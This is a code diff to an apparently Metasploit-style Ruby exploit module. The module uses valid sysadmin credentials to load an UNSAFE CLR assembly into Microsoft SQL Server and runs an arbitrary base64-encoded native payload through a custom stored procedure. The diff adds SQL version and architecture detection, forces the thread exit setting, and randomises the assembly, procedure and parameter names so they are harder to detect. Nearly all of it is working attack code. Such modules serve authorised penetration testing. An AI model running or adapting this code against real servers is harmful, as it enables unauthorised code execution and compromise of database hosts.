@@ -14,17 +14,19 @@ def initialize(info = {})
14
14
super ( update_info ( info ,
15
15
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution' ,
16
16
'Description' => %q{
17
- This module executes an arbitrary native payload on a Microsoft SQL
18
- server by loading a custom SQL CLR Assembly into the target SQL
19
- installation, and calling it directly with a base64-encoded payload.
17
+ This module executes an arbitrary native payload on a Microsoft SQL
18
+ server by loading a custom SQL CLR Assembly into the target SQL
19
+ installation, and calling it directly with a base64-encoded payload.
20
20
21
- The module requires working credentials in order to connect directly to the
22
- MSSQL Server.
21
+ The module requires working credentials in order to connect directly to the
22
+ MSSQL Server.
23
23
24
- This method requires the user to have sufficient privileges to install a custom
25
- SQL CRL DLL, and invoke the custom stored procedure that comes with it.
24
+ This method requires the user to have sufficient privileges to install a custom
25
+ SQL CRL DLL, and invoke the custom stored procedure that comes with it.
26
26
27
- This exploit does not leave any binaries on disk.
27
+ This exploit does not leave any binaries on disk.
28
+
29
+ Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
28
30
} ,
29
31
'Author' =>
30
32
[
@@ -39,10 +41,7 @@ def initialize(info = {})
39
41
] ,
40
42
'Platform' => 'win' ,
41
43
'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
42
- 'Targets' =>
43
- [
44
- [ 'Automatic' , { } ] ,
45
- ] ,
44
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
46
45
'DefaultTarget' => 0 ,
47
46
'DisclosureDate' => 'Jan 01 1999'
48
47
) )
@@ -55,10 +54,17 @@ def initialize(info = {})
55
54
56
55
def check
57
56
unless mssql_login_datastore
58
- vprint_status ( " Invalid SQL Server credentials" )
57
+ vprint_status ( ' Invalid SQL Server credentials' )
59
58
return Exploit ::CheckCode ::Detected
60
59
end
61
60
61
+ version = get_sql_version_string
62
+
63
+ unless version =~ /Server 20(05|08|12|14|16)/
64
+ vprint_status ( 'Unsupported version of SQL Server' )
65
+ return Exploit ::CheckCode ::Safe
66
+ end
67
+
62
68
if mssql_is_sysadmin
63
69
vprint_good "User #{ datastore [ 'USERNAME' ] } is a sysadmin"
64
70
Exploit ::CheckCode ::Vulnerable
@@ -69,8 +75,26 @@ def check
69
75
disconnect
70
76
end
71
77
78
+ def get_sql_version_string
79
+ mssql_query ( "select @@version" , false ) [ :rows ] . first [ 0 ]
80
+ end
81
+
82
+ def get_sql_architecture ( sql_version_string )
83
+ if sql_version_string =~ /(64-bit|x64)/i
84
+ ARCH_X64
85
+ else
86
+ ARCH_X86
87
+ end
88
+ end
89
+
72
90
def get_exploit_version ( sql_version_string )
73
- 'v3.5'
91
+ # keeping it simple at this point.
92
+ if sql_version_string =~ /Server (2005|2008|2012)/
93
+ 'v3.5'
94
+ else
95
+ # assume 2014/2016 at this point.
96
+ 'v4.0'
97
+ end
74
98
end
75
99
76
100
def set_trustworthy ( on )
@@ -99,14 +123,27 @@ def is_clr_enabled
99
123
end
100
124
101
125
def exploit
102
- mssql_login_datastore
126
+ unless mssql_login_datastore
127
+ fail_with ( Failure ::BadConfig , 'Unable to login with the given credentials' )
128
+ end
103
129
104
130
unless mssql_is_sysadmin
105
131
fail_with ( Failure ::BadConfig , 'Specified user lacks sufficient permissions' )
106
132
end
107
133
108
- unless datastore [ 'EXITFUNC' ] . downcase == 'thread'
109
- fail_with ( Failure ::BadConfig , 'EXITFUNC must be set to "thread"' )
134
+ # This module will only support 'thread' for EXITFUNC
135
+ # Bad things happen to SQL otherwise!
136
+ unless datastore [ 'EXITFUNC' ] == 'thread'
137
+ print_warning ( "Setting EXITFUNC to 'thread' so we don't kill SQL Server" )
138
+ datastore [ 'EXITFUNC' ] = 'thread'
139
+ end
140
+
141
+ sql_version = get_sql_version_string
142
+ vprint_status ( "Target SQL Version is:\n #{ sql_version } " )
143
+
144
+ sql_arch = get_sql_architecture ( sql_version )
145
+ unless payload . arch . first == sql_arch
146
+ fail_with ( Failure ::BadConfig , "Target SQL server arch is #{ sql_arch } , payload architecture is #{ payload . arch . first } " )
110
147
end
111
148
112
149
trustworthy = is_trustworthy
@@ -122,10 +159,8 @@ def exploit
122
159
enable_clr ( true )
123
160
end
124
161
125
- sql_version = mssql_query ( "select @@version" , false ) [ :rows ] . first [ 0 ]
126
- vprint_status ( "Target SQL Version is:\n #{ sql_version } " )
127
162
exploit_version = get_exploit_version ( sql_version )
128
- print_status ( "Using version #{ exploit_version } of the Assembly" )
163
+ print_status ( "Using version #{ exploit_version } of the Payload Assembly" )
129
164
exploit_file_path = ::File . join ( Msf ::Config . install_root , 'data' ,
130
165
'SqlClrPayload' , exploit_version , 'SqlClrPayload.dll' )
131
166
vprint_status ( "Using #{ exploit_file_path } " )
@@ -135,27 +170,30 @@ def exploit
135
170
# Convert the assembly to the required format for execution of the stored
136
171
# procedure to create the custom stored proc
137
172
hex_assembly = "0x#{ assembly . unpack ( 'H*' ) [ 0 ] } "
138
- query = "CREATE ASSEMBLY [runstuff] AUTHORIZATION [dbo] FROM #{ hex_assembly } WITH PERMISSION_SET = UNSAFE"
173
+ asm_name = Rex ::Text . rand_text_alpha ( rand ( 4 ) + 8 )
174
+ query = "CREATE ASSEMBLY [#{ asm_name } ] AUTHORIZATION [dbo] FROM #{ hex_assembly } WITH PERMISSION_SET = UNSAFE"
139
175
140
176
print_status ( 'Adding custom payload assembly ...' )
141
177
mssql_query ( query , false )
142
178
143
- query = "CREATE PROCEDURE [dbo].[ExecuteB64Payload](@base64EncodedPayload AS NVARCHAR(MAX)) AS EXTERNAL NAME [runstuff].[StoredProcedures].[ExecuteB64Payload]"
179
+ proc_name = Rex ::Text . rand_text_alpha ( rand ( 4 ) + 8 )
180
+ param_name = Rex ::Text . rand_text_alpha ( rand ( 4 ) + 8 )
181
+ query = "CREATE PROCEDURE [dbo].[#{ proc_name } ](@#{ param_name } AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{ asm_name } ].[StoredProcedures].[ExecuteB64Payload]"
144
182
145
183
print_status ( 'Exposing payload execution stored procedure ...' )
146
184
mssql_query ( query , false )
147
185
148
186
# Generate the base64 encoded payload
149
187
b64payload = Rex ::Text . encode_base64 ( payload . encoded )
150
- query = "EXEC [dbo].[ExecuteB64Payload ] '#{ b64payload } '"
188
+ query = "EXEC [dbo].[#{ proc_name } ] '#{ b64payload } '"
151
189
print_status ( 'Executing the payload ...' )
152
190
mssql_query ( query , false )
153
191
154
192
print_status ( 'Removing stored procedure ...' )
155
- mssql_query ( ' DROP PROCEDURE [dbo].[ExecuteB64payload]' , false )
193
+ mssql_query ( " DROP PROCEDURE [dbo].[#{ proc_name } ]" , false )
156
194
157
195
print_status ( 'Removing assembly ...' )
158
- mssql_query ( ' DROP ASSEMBLY [runstuff]' , false )
196
+ mssql_query ( " DROP ASSEMBLY [#{ asm_name } ]" , false )
159
197
160
198
unless clr_enabled
161
199
print_status ( 'Restoring CLR setting ...' )
0 commit comments